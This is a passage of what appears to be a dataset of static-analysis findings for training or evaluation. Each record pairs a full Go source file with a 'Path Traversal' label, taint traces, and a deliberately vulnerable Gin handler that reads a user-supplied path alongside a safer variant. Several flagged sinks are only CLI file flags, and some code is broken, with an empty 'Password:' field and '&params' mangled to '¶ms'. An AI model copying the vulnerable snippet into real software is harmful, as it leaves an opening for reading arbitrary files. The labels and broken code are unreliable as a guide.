"messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "Sprintf"}}, {"lineNo": 49, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "3d0a44312f6e550b528ffe830aa33ca053610089e32491abe771e8170c9f1873", "license": {"spdx": ["BSD-3-Clause-No-Nuclear-License-2014", "OLDAP-2.8", "BSD-3-Clause"], "repo": "tamerh/biobtree", "path": "test_data/postman/main.go", "repo_head_hexsha": "629cd94936a5ce3460880db8a44c5d7301412ce8", "stack_hexsha": "1883affc202bfc87e09ef6862b9ebec93f46becc", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 178, "entireCode": "package main\n\nimport (\n\t\"bufio\"\n\t\"encoding/json\"\n\t\"flag\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"net/url\"\n\t\"os\"\n\t\"strings\"\n)\n\n// this creates example json file for the usecase in the web interface\n\ntype queryExample struct {\n\tName string `json:\"name\"`\n\tTypee string `json:\"type\"`\n\tSource string `json:\"source\"`\n\tSearchTerm string `json:\"searchTerm\"`\n\tMapfFilterTerm string `json:\"mapFilterTerm\"`\n}\n\n//var categories = []string{\"mix\", \"gene\", \"protein\", \"chembl\", \"taxonomy\"}\n\nvar categories = map[string]bool{}\nvar results = map[string][]queryExample{}\nvar db, categoriesStr string\n\nfunc newResult(category, name, res string) {\n\n\tif len(category) == 0 || len(name) == 0 || len(res) == 0 {\n\t\treturn\n\t}\n\n\tif _, ok := categories[category]; !ok {\n\t\treturn\n\t}\n\n\tcategory = strings.Split(category, \"_\")[0]\n\n\tresSplit := strings.Split(res, \" \")\n\n\tif len(resSplit) != 6 {\n\t\tfmt.Println(resSplit)\n\t\tlog.Fatal(\"invalid result\" + res)\n\t}\n\n\tif _, ok := results[category]; !ok {\n\t\tresults[category] = []queryExample{}\n\t}\n\n\ttypee, searchTerm, mapfFilterTerm, source, ok := getTestParams(resSplit[1])\n\n\tif !ok {\n\t\treturn\n\t}\n\n\tnewExample := queryExample{\n\t\tName: name,\n\t\tTypee: typee,\n\t\tSource: source,\n\t\tSearchTerm: searchTerm,\n\t\tMapfFilterTerm: mapfFilterTerm,\n\t}\n\tresults[category] = append(results[category], newExample)\n\n}\nfunc main() {\n\n\tflag.StringVar(&db, \"db\", \"builtin1\", \"\")\n\tflag.StringVar(&categoriesStr, \"cat\", \"\", \"\")\n\tflag.Parse()\n\n\tfor _, cat := range strings.Split(categoriesStr, \",\") {\n\t\tcategories[cat] = true\n\t}\n\n\tfile, err := os.Open(\"newman_result.json\")\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tdefer file.Close()\n\n\tscanner := bufio.NewScanner(file)\n\n\talt := '↳'\n\ttick := '✓'\n\tbox := '❏'\n\tisfirst := true\n\tvar curCategory, curName, curRes string\n\tcurSuccess := false\n\tfor scanner.Scan() {\n\t\tline := strings.TrimSpace(scanner.Text())\n\t\tliner := []rune(line)\n\n\t\tif len(liner) == 0 {\n\t\t\tcontinue\n\t\t}\n\n\t\tif liner[0] == box {\n\n\t\t\tif len(curCategory) > 0 && curCategory != string(liner[2:]) {\n\t\t\t\tnewResult(curCategory, curName, curRes)\n\t\t\t\tcurName = \"\"\n\t\t\t\tcurRes = \"\"\n\t\t\t}\n\t\t\tcurCategory = string(liner[2:])\n\n\t\t} else if liner[0] == alt { // new test\n\n\t\t\tif !isfirst { // print previous test\n\t\t\t\tif !curSuccess {\n\t\t\t\t\tpanic(\"Failed tests check generated file\")\n\t\t\t\t}\n\t\t\t\tnewResult(curCategory, curName, curRes)\n\t\t\t\tcurName = \"\"\n\t\t\t\tcurRes = \"\"\n\t\t\t\tcurSuccess = false\n\t\t\t} else {\n\t\t\t\tisfirst = false\n\t\t\t}\n\t\t\tcurName = string(liner[2:])\n\n\t\t} else if line[0:3] == \"GET\" {\n\n\t\t\tcurRes = line\n\n\t\t} else if liner[0] == tick { //test result\n\n\t\t\tcurSuccess = true\n\n\t\t}\n\n\t}\n\n\t// last test\n\tif !curSuccess {\n\t\tpanic(\"Failed tests check generated file\")\n\t}\n\tnewResult(curCategory, curName, curRes)\n\n\tif err := scanner.Err(); err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tfor k, v := range results {\n\t\tfmt.Println(\"cat:\" + k)\n\t\tfmt.Println()\n\t\tfor _, q := range v {\n\t\t\tfmt.Println()\n\t\t\tfmt.Println(\"#\" + q.Name)\n\t\t\tif q.Typee == \"0\" {\n\t\t\t\tif len(q.Source) > 0 {\n\t\t\t\t\tfmt.Println(\"bb.search('\" + strings.ToLower(q.SearchTerm) + \"',source='\" + q.Source + \"')\")\n\t\t\t\t} else {\n\t\t\t\t\tfmt.Println(\"bb.search('\" + strings.ToLower(q.SearchTerm) + \"')\")\n\t\t\t\t}\n\n\t\t\t} else if q.Typee == \"1\" {\n\t\t\t\tif len(q.Source) > 0 {\n\t\t\t\t\tfmt.Println(\"bb.mapping('\" + strings.ToLower(q.SearchTerm) + \"','\" + q.MapfFilterTerm + \"',source='\" + q.Source + \"')\")\n\t\t\t\t} else {\n\t\t\t\t\tfmt.Println(\"bb.mapping('\" + strings.ToLower(q.SearchTerm) + \"','\" + q.MapfFilterTerm + \"')\")\n\t\t\t\t}\n\n\t\t\t}\n\n\t\t}\n\t}\n\n\tdata, err := json.Marshal(results)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tioutil.WriteFile(db+\".json\", data, 0770)\n\n}\n\nfunc getTestParams(urlval string) (string, string, string, string, bool) {\n\n\tu, err := url.Parse(urlval)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\tparams := u.Query()\n\n\tif len(params.Get(\"i\")) > 0 && len(params.Get(\"m\")) > 0 && len(params.Get(\"s\")) > 0 {\n\t\treturn \"1\", params.Get(\"i\"), params.Get(\"m\"), params.Get(\"s\"), true\n\t} else if len(params.Get(\"i\")) > 0 && len(params.Get(\"m\")) > 0 {\n\t\treturn \"1\", params.Get(\"i\"), params.Get(\"m\"), \"\", true\n\t} else if len(params.Get(\"i\")) > 0 && len(params.Get(\"s\")) > 0 {\n\t\treturn \"0\", params.Get(\"i\"), \"\", params.Get(\"s\"), true\n\t} else if len(params.Get(\"i\")) > 0 {\n\t\treturn \"0\", params.Get(\"i\"), \"\", \"\", true\n\t}\n\n\treturn \"\", \"\", \"\", \"\", false\n\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 72, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "StringVar"}}, {"lineNo": 72, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 178, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "cab1bd56df6d74e6b8d9723ce79f09b0a7c3722cb75281854165f8528ca07689", "license": {"spdx": ["MIT"], "repo": "hervenicol/docker-plugin-cinder", "path": "main.go", "repo_head_hexsha": "70772e1d89830c9368aa8c02633428f24850f5d0", "stack_hexsha": "b2ca39e68e986dbdb914ebb08ab0864db22fd88a", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 75, "entireCode": "package main\n\nimport (\n\t\"encoding/json\"\n\t\"flag\"\n\t\"io/ioutil\"\n\t_log \"log\"\n\t\"os\"\n\n\t\"github.com/coreos/go-systemd/activation\"\n\tlog \"github.com/sirupsen/logrus\"\n\n\t\"github.com/docker/go-plugins-helpers/volume\"\n\t\"github.com/gophercloud/gophercloud\"\n\t\"github.com/gophercloud/gophercloud/openstack\"\n)\n\ntype tConfig struct {\n\tDebug bool\n\tQuiet bool\n\tIdentityEndpoint string `json:\"endpoint,omitempty\"`\n\tUsername string `json:\"username,omitempty\"`\n\tPassword string `json:\"password,omitempty\"`\n\tDomainID string `json:\"domainID,omitempty\"`\n\tDomainName string `json:\"domainName,omitempty\"`\n\tTenantID string `json:\"tenantId,omitempty\"`\n\tTenantName string `json:\"tenantName,omitempty\"`\n\tApplicationCredentialID string `json:\"applicationCredentialId,omitempty\"`\n\tApplicationCredentialName string `json:\"applicationCredentialName,omitempty\"`\n\tApplicationCredentialSecret string `json:\"applicationCredentialSecret,omitempty\"`\n\tRegion string `json:\"region,omitempty\"`\n\tMachineID string `json:\"machineID,omitempty\"`\n\tMountDir string `json:\"mountDir,omitempty\"`\n\tFilesystem string `json:\"filesystem,omitempty\"`\n\tDefaultSize string `json:\"defaultSize,omitempty\"`\n\tDefaultType string `json:\"defaultType,omitempty\"`\n\tVolumeSubDir string `json:\"volumeSubDir,omitempty\"`\n\tEncryptionKey string `json:\"encryptionKey,omitempty\"`\n\tTimeoutVolumeState int `json:\"timeoutVolumeState,omitempty\"`\n\tTimeoutDeviceWait int `json:\"timeoutDeviceWait,omitempty\"`\n\tDelayVolumeState int `json:\"delayVolumeState,omitempty\"`\n\tDelayDeviceWait int `json:\"delayDeviceWait,omitempty\"`\n}\n\nfunc init() {\n\t_log.SetOutput(ioutil.Discard)\n\n\tlog.SetFormatter(&log.TextFormatter{DisableTimestamp: true})\n\tlog.SetOutput(os.Stdout)\n\tlog.SetLevel(log.InfoLevel)\n}\n\nfunc main() {\n\tvar config tConfig\n\tvar configFile string\n\tflag.BoolVar(&config.Debug, \"debug\", false, \"Enable debug logging\")\n\tflag.BoolVar(&config.Quiet, \"quiet\", false, \"Only report errors\")\n\tflag.StringVar(&configFile, \"config\", \"cinder.json\", \"Config file\")\n\tflag.StringVar(&config.MountDir, \"mountDir\", \"/var/lib/cinder/mount\", \"Cinder mount directory\")\n\tflag.StringVar(&config.MachineID, \"machineID\", \"\", \"force machine ID\")\n\tflag.StringVar(&config.Filesystem, \"filesystem\", \"ext4\", \"New volumes filesystem (ext4)\")\n\tflag.StringVar(&config.DefaultSize, \"defaultSize\", \"10\", \"New volumes default size (10)\")\n\tflag.StringVar(&config.DefaultType, \"defaultType\", \"classic\", \"New volumes default type (classic)\")\n\tflag.StringVar(&config.VolumeSubDir, \"volumeSubDir\", \"data\", \"Volumes subdirectory (data)\")\n\tflag.StringVar(&config.EncryptionKey, \"encryptionKey\", \"\", \"LUKS encryption key path\")\n\tflag.IntVar(&config.TimeoutVolumeState, \"timeoutVolumeState\", 5, \"Timeout for waitOnVolumeState (s)\")\n\tflag.IntVar(&config.TimeoutDeviceWait, \"timeoutDeviceWait\", 5, \"Timeout when waiting for device attachment (s)\")\n\tflag.IntVar(&config.DelayVolumeState, \"delayVolumeState\", 1, \"Delay after waitOnVolumeState (s)\")\n\tflag.IntVar(&config.DelayDeviceWait, \"delayDeviceWait\", 1, \"Delay after device attachment (s)\")\n\tflag.Parse()\n\n\tlog.SetFormatter(&log.TextFormatter{DisableTimestamp: true})\n\tlog.SetOutput(os.Stdout)\n\n\tcontent, err := ioutil.ReadFile(configFile)\n\tif err != nil {\n\t\tlog.Fatal(err.Error())\n\t}\n\n\terr = json.Unmarshal(content, &config)\n\tif err != nil {\n\t\tlog.Fatal(err.Error())\n\t}\n\n\tif len(config.MountDir) == 0 {\n\t\tlog.Fatal(\"No mountDir configured. Abort.\")\n\t}\n\n\tif config.Quiet {\n\t\tlog.SetLevel(log.ErrorLevel)\n\t}\n\n\tif config.Debug {\n\t\tlog.SetLevel(log.DebugLevel)\n\t}\n\n\tlog.Debug(\"Debug logging enabled\")\n\n\tif len(config.IdentityEndpoint) == 0 {\n\t\tlog.Fatal(\"Identity endpoint missing\")\n\t}\n\n\topts := gophercloud.AuthOptions{\n\t\tIdentityEndpoint: config.IdentityEndpoint,\n\t\tUsername: config.Username,\n\t\tPassword: ,\n\t\tDomainID: config.DomainID,\n\t\tDomainName: config.DomainName,\n\t\tTenantID: config.TenantID,\n\t\tTenantName: config.TenantName,\n\t\tApplicationCredentialID: config.ApplicationCredentialID,\n\t\tApplicationCredentialName: config.ApplicationCredentialName,\n\t\tApplicationCredentialSecret: config.ApplicationCredentialSecret,\n\t\tAllowReauth: true,\n\t}\n\n\tlogger := log.WithField(\"endpoint\", opts.IdentityEndpoint)\n\tlogger.Info(\"Connecting...\")\n\n\tprovider, err := openstack.AuthenticatedClient(opts)\n\tif err != nil {\n\t\tlogger.WithError(err).Fatal(err.Error())\n\t}\n\n\tendpointOpts := gophercloud.EndpointOpts{\n\t\tRegion: config.Region,\n\t}\n\n\tplugin, err := newPlugin(provider, endpointOpts, &config)\n\n\tif err != nil {\n\t\tlogger.WithError(err).Fatal(err.Error())\n\t}\n\n\thandler := volume.NewHandler(plugin)\n\n\tlogger.Info(\"Connected.\")\n\n\tlisteners, err := activation.Listeners()\n\n\tif err != nil {\n\t\tlogger.WithError(err).Error(err.Error())\n\t}\n\n\tif len(listeners) > 0 {\n\t\tlogger.Debugf(\"Started with socket activation\")\n\t\terr = handler.Serve(listeners[0])\n\t} else {\n\t\terr = handler.ServeUnix(\"cinder\", 0)\n\t}\n\n\tif err != nil {\n\t\tlogger.WithError(err).Fatal(err.Error())\n\t}\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 58, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "StringVar"}}, {"lineNo": 58, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 75, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "4c1960fd744baf428b55d2ed46223a85a4d3fdcf1507f2136000faae93e3cb56", "license": {"spdx": ["Apache-2.0"], "repo": "LaudateCorpus1/atlas-osb", "path": "test/broker-tester/broker-tester.go", "repo_head_hexsha": "d0d3a35d916215cdea271db0c05f542aa775cbed", "stack_hexsha": "703f6f3c1a9a8fc05c7e2257648440a978557988", "match": "repo_path"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 112, "entireCode": "// Copyright 2020 MongoDB Inc\n//\n// Licensed under the Apache License, Version 2.0 (the \"License\");\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//\n// http://www.apache.org/licenses/LICENSE-2.0\n//\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an \"AS IS\" BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n\npackage main\n\nimport (\n\t\"context\"\n\t\"encoding/json\"\n\t\"flag\"\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"os\"\n\n\t\"github.com/Sectorbob/mlab-ns2/gae/ns/digest\"\n\t\"github.com/davecgh/go-spew/spew\"\n\t\"go.mongodb.org/atlas/mongodbatlas\"\n\t\"gopkg.in/yaml.v2\"\n\tosb \"sigs.k8s.io/go-open-service-broker-client/v2\"\n)\n\nconst (\n\tpublicKeyAPIEnv = \"ATLAS_PUBLIC_KEY\"\n\tprivateKeyAPIEnv = \"ATLAS_PRIVATE_KEY\"\n\tbrokerHTTPAuthUsernameEnv = \"ATLAS_BROKER_HTTP_AUTH_USERNAME\"\n\tbrokerHTTPAuthPasswordEnv = \"BROKER_HTTP_AUTH_PASSWORD\" // nolint\n\t// projectIDEnv = \"ATLAS_PROJECT_ID\"\n\tbrokerHostportEnv = \"ATLAS_BROKER_HOSTPORT\"\n)\n\nvar (\n\tenvPublicAPIKey = os.Getenv(publicKeyAPIEnv)\n\tenvPrivateAPIKey = os.Getenv(privateKeyAPIEnv)\n\tenvBrokerHTTPAuthUsername = os.Getenv(brokerHTTPAuthUsernameEnv)\n\tenvBrokerHTTPAuthPassword = os.Getenv(brokerHTTPAuthPasswordEnv)\n\tenvBrokerHostport = os.Getenv(brokerHostportEnv)\n)\n\nfunc GetBroker(url string) (osb.Client, *mongodbatlas.Client, error) {\n\tconfig := osb.DefaultClientConfiguration()\n\tconfig.URL = url\n\tconfig.Insecure = true\n\n\tbasicAuthConfig := &osb.BasicAuthConfig{\n\t\tUsername: envBrokerHTTPAuthUsername,\n\t\tPassword: AuthPassword,\n\t}\n\n\tconfig.AuthConfig = &osb.AuthConfig{\n\t\tBasicAuthConfig: basicAuthConfig,\n\t}\n\n\tclient, err := osb.NewClient(config)\n\tif err != nil {\n\t\treturn nil, nil, err\n\t}\n\n\tt := digest.NewTransport(envPublicAPIKey, envPrivateAPIKey)\n\ttc, err := t.Client()\n\tif err != nil {\n\t\tlog.Fatalf(err.Error())\n\t}\n\n\tatlasclient := mongodbatlas.NewClient(tc)\n\n\treturn client, atlasclient, nil\n}\n\nfunc main() {\n\tvar plan string\n\tvar name string\n\tvar params string\n\tvar operation string\n\tvar otherArgs []string\n\tvar verbose bool\n\n\tflag.BoolVar(&verbose, \"verbose\", false, \"Enable verbose output\")\n\tflag.StringVar(&operation, \"op\", \"catalog\", \"Broker operation catalog, provision, etc\")\n\tflag.StringVar(¶ms, \"values\", \"\", \"parameters in yaml filename or string\")\n\tflag.StringVar(&plan, \"plan\", \"\", \"name of plan to create\")\n\tflag.StringVar(&name, \"name\", \"\", \"name for plan instance (service name)\")\n\n\tflag.Parse()\n\n\t// if !verbose {\n\t// log.SetOutput(ioutil.Discard)\n\t// }\n\n\t// if flag.NArg() == 0 {\n\t// flag.Usage()\n\t// os.Exit(1)\n\t// }\n\n\totherArgs = flag.Args()\n\tlog.Printf(\"other args: %+v\\n\", otherArgs)\n\n\tlog.Println(\"params:\", params)\n\tvar parameters map[string]interface{}\n\n\tif len(params) > 0 {\n\t\tyamlFile, err := ioutil.ReadFile(params)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"yamlFile.Get err #%v \", err)\n\t\t\tyamlFile = []byte(params)\n\t\t}\n\t\tlog.Println(\"yamlFile:\", yamlFile)\n\t\terr = json.Unmarshal(yamlFile, ¶meters)\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"Unmarshal: %v\", err)\n\t\t}\n\t\tlog.Println(\"parameters:\", parameters)\n\t} else {\n\t\tlog.Println(\"where is my automobile?\")\n\t}\n\n\turl := envBrokerHostport\n\tif len(url) == 0 {\n\t\turl = \"http://localhost:4000\"\n\t}\n\tlog.Println(\"url\", url)\n\tbroker, client, err := GetBroker(url)\n\tif err != nil {\n\t\tlog.Fatalf(\"Error: %v\", err)\n\t}\n\tif operation == \"catalog\" {\n\t\tcatalog, err2 := broker.GetCatalog()\n\t\tlog.Println(\"catalog\", catalog)\n\t\tif err2 != nil {\n\t\t\tlog.Fatalf(\"error: %v\", err2)\n\t\t}\n\t\t// d, err := yaml.Marshal(&catalog)\n\t\td, err := json.Marshal(&catalog)\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"error: %v\", err)\n\t\t}\n\t\tfmt.Printf(\"%s\", string(d))\n\t}\n\tif operation == \"services\" {\n\t\tvar groupID string\n\t\tif len(otherArgs) > 0 {\n\t\t\tgroupID = otherArgs[0]\n\t\t} else {\n\t\t\tgroupID = os.Getenv(\"ATLAS_GROUP_ID\")\n\t\t}\n\t\tlog.Println(\"services groupId:\", groupID)\n\t\tvar err2 error\n\t\tclusters, _, err2 := client.Clusters.List(context.Background(), groupID, nil)\n\t\tif err2 != nil {\n\t\t\tlog.Fatalf(\"error: %v\", err2)\n\t\t}\n\t\td, err := json.Marshal(&clusters)\n\t\tif err != nil {\n\t\t\tlog.Fatalf(\"error: %v\", err)\n\t\t}\n\t\tfmt.Printf(\"%s\", string(d))\n\t\tusers, _, err2 := client.DatabaseUsers.List(context.Background(), groupID, nil)\n\t\tif err2 != nil {\n\t\t\tlog.Fatalf(\"error: %v\", err2)\n\t\t}\n\t\te, err2 := json.Marshal(&users)\n\t\tif err2 != nil {\n\t\t\tlog.Fatalf(\"error: %v\", err2)\n\t\t}\n\t\tlog.Printf(\"%s\", string(e))\n\n\t\tips, _, err2 := client.ProjectIPWhitelist.List(context.Background(), groupID, nil)\n\t\tif err2 != nil {\n\t\t\tlog.Fatalf(\"error: %v\", err2)\n\t\t}\n\t\tf, err2 := json.Marshal(&ips)\n\t\tif err2 != nil {\n\t\t\tlog.Fatalf(\"error: %v\", err2)\n\t\t}\n\t\tlog.Printf(\"%s\", string(f))\n\t}\n\tif operation == \"create-service\" {\n\t\tlog.Printf(\"create-service\")\n\t\tlog.Println(\"parameters:\", parameters)\n\t\tif len(plan) == 0 || len(name) == 0 {\n\t\t\tlog.Fatalln(\"missing --plan or --name\")\n\t\t}\n\t\tserviceID := \"aosb-cluster-service-template\"\n\t\tservicePlan := fmt.Sprintf(\"%s-%s\", \"aosb-cluster-plan-template\", plan)\n\t\tserviceInstanceName := name\n\n\t\tlog.Println(\"servicePlan:\", servicePlan)\n\t\tlog.Println(\"serviceInstanceName:\", serviceInstanceName)\n\n\t\trequest := &osb.ProvisionRequest{\n\t\t\tInstanceID: serviceInstanceName,\n\t\t\tServiceID: serviceID,\n\t\t\tPlanID: servicePlan,\n\t\t\tParameters: parameters,\n\t\t\tOrganizationGUID: \"fake\",\n\t\t\tSpaceGUID: \"fake\",\n\t\t\tAcceptsIncomplete: true,\n\t\t}\n\t\tlog.Println(\"request:\", request)\n\n\t\tresp, err := broker.ProvisionInstance(request)\n\t\tif err != nil {\n\t\t\tfmt.Println(\">>>>>>>\", err)\n\t\t\terrHTTP, isError := osb.IsHTTPError(err)\n\t\t\tif isError {\n\t\t\t\t// handle error response from broker\n\t\t\t\tfmt.Println(\"errHttp:\", errHTTP)\n\t\t\t} else {\n\t\t\t\t// handle errors communicating with the broker\n\t\t\t\tfmt.Println(\"error provision:\", err)\n\t\t\t}\n\t\t}\n\n\t\tlog.Println(\"resp:\", resp)\n\t}\n\tif operation == \"get-instance\" {\n\t\treq := &osb.GetInstanceRequest{\n\t\t\tInstanceID: name,\n\t\t}\n\t\tresp, err := broker.GetInstance(req)\n\t\tif err != nil {\n\t\t\tfmt.Println(\">>>>>>>\", err)\n\t\t\terrHTTP, isError := osb.IsHTTPError(err)\n\t\t\tif isError {\n\t\t\t\t// handle error response from broker\n\t\t\t\tfmt.Println(\"errHttp:\", errHTTP)\n\t\t\t} else {\n\t\t\t\t// handle errors communicating with the broker\n\t\t\t\tfmt.Println(\"error provision:\", err)\n\t\t\t}\n\t\t}\n\n\t\tlog.Println(\"resp:\", resp)\n\t}\n\tif operation == \"bind\" || operation == \"unbind\" {\n\t\tif len(otherArgs) < 2 {\n\t\t\tlog.Fatalln(\"Missing \")\n\t\t}\n\t\tserviceInstanceName := otherArgs[0]\n\t\tlog.Println(\"serviceInstanceName:\", serviceInstanceName)\n\t\tbindingID := otherArgs[1]\n\t\tlog.Println(\"bindingId:\", bindingID)\n\t\tspew.Dump(parameters)\n\t\tif operation == \"bind\" {\n\t\t\trequest := &osb.BindRequest{\n\t\t\t\tInstanceID: serviceInstanceName,\n\t\t\t\tParameters: parameters,\n\t\t\t\tBindingID: bindingID,\n\t\t\t\tServiceID: \"aosb-cluster-service-aws\",\n\t\t\t\tPlanID: \"aosb-cluster-plan-aws-m10\",\n\t\t\t}\n\t\t\tlog.Println(\"bind request:\", request)\n\t\t\tresp, err := broker.Bind(request)\n\t\t\tif err != nil {\n\t\t\t\terrHTTP, isError := osb.IsHTTPError(err)\n\t\t\t\tif isError {\n\t\t\t\t\tfmt.Println(\"errHttp:\", errHTTP)\n\t\t\t\t} else {\n\t\t\t\t\tfmt.Println(\"error bind:\", err)\n\t\t\t\t\tfmt.Println(\"resp:\", resp)\n\t\t\t\t}\n\t\t\t}\n\t\t\td, err2 := yaml.Marshal(&resp)\n\t\t\tif err2 != nil {\n\t\t\t\tlog.Fatalf(\"error: %v\", err2)\n\t\t\t}\n\t\t\tfmt.Printf(\"%s\", string(d))\n\t\t}\n\t\tif operation == \"unbind\" {\n\t\t\trequest := &osb.UnbindRequest{\n\t\t\t\tInstanceID: serviceInstanceName,\n\t\t\t\tBindingID: bindingID,\n\t\t\t\tServiceID: \"aosb-cluster-service-aws\",\n\t\t\t\tPlanID: \"aosb-cluster-plan-aws-m10\",\n\t\t\t}\n\t\t\tlog.Println(\"unbind request:\", request)\n\t\t\tresp, err := broker.Unbind(request)\n\t\t\tif err != nil {\n\t\t\t\terrHTTP, isError := osb.IsHTTPError(err)\n\t\t\t\tif isError {\n\t\t\t\t\tfmt.Println(\"errHttp:\", errHTTP)\n\t\t\t\t} else {\n\t\t\t\t\tfmt.Println(\"error provision:\", err)\n\t\t\t\t}\n\t\t\t}\n\t\t\td, err2 := yaml.Marshal(&resp)\n\t\t\tif err2 != nil {\n\t\t\t\tlog.Fatalf(\"error: %v\", err2)\n\t\t\t}\n\t\t\tfmt.Printf(\"%s\", string(d))\n\t\t}\n\t}\n}", "dangerousExampleEn": "1. func Dan_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(path)\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is vulnerable to path traversal because an external input is used in function without filtering.", "safeExampleEn": "1. func Safe_PathTraversal(c *gin.Context) {\n2. \tpath := c.PostForm(\"input\")\n3. \tcontent, err := ioutil.ReadFile(filepath.Clean(path))\n4. \tc.String(200, string(content))\n5. }\nLine 3: This is secure because the external input is filtered using filepath.Clean().", "contexts": [{"lineNo": 90, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "StringVar"}}, {"lineNo": 90, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 112, "eventType": "sink", "messageKey": "gochk.PATH_CONTAMINATION.GO.defect.sink", "params": {}}]}} {"id": "d0230826ee6b1e65388c7c2d1f3e7e361e5da26399c272267e1743db0f908cbc", "license": {"spdx": ["MIT"], "repo": "denysvitali/dkim", "path": "cmd/dkimverify/main.go", "repo_head_hexsha": "c62ce2babb819673a56aa41926bf3d2e979c12fa", "stack_hexsha": "be1d6acded8256c56b3aa140737cd5e132bc9eb6", "match": "exact_blob"}, "input": {"fileExtension": ".go", "programmingLanguage": "Go", "issueNameEn": "Path Traversal", "issueDescriptionEn": "Path traversal is a vulnerability in which a user can access or modify arbitrary files in the application. This may occur when a user input is used as a file path without restrictions. Using a file path directly from a user input is dangerous. It is recommended to not use a file path from a user input whenever possible. If it is necessary, ensure that the user input is validated. If it becomes necessary, ensure that the user input is validated.\nIn Golang, the path can be used securely by using filepath.Join() or removing `.` or `..` through filepath.Clean().", "issueLineNumber": 23, "entireCode": "package main\n\nimport (\n\t\"crypto\"\n\t\"flag\"\n\t\"fmt\"\n\tdkim \"github.com/driusan/dkim/pkg\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"strings\"\n)\n\nfunc main() {\n\tvar pubKey, hd, headerPrefix, headerSuffix string\n\tflag.StringVar(&pubKey, \"txt\", \"\", \"Use argument file as DNS TXT entry instead of looking it up\")\n\tflag.StringVar(&hd, \"hd\", \"\", \"Print the results to an SMTP header on stdout instead of stderr\")\n\tflag.StringVar(&headerPrefix, \"hdprefix\", \"\", \"Prefix the results of the header with this string\")\n\tflag.StringVar(&headerSuffix, \"hdsuffix\", \"\", \"Suffix the results of the header with this string\")\n\tflag.Parse()\n\n\tvar key crypto.PublicKey\n\tif pubKey != \"\" {\n\t\tkeyBytes, err := ioutil.ReadFile(pubKey)\n\t\tif err != nil {\n\t\t\t_, _ = fmt.Fprintln(os.Stderr, err)\n\t\t\tos.Exit(1)\n\t\t}\n\t\tdomainKey, err := dkim.DecodeDNSTXT(string(keyBytes))\n\t\tif err != nil {\n\t\t\t_, _ = fmt.Fprintln(os.Stderr, err)\n\t\t\tos.Exit(1)\n\t\t}\n\t\tkey = 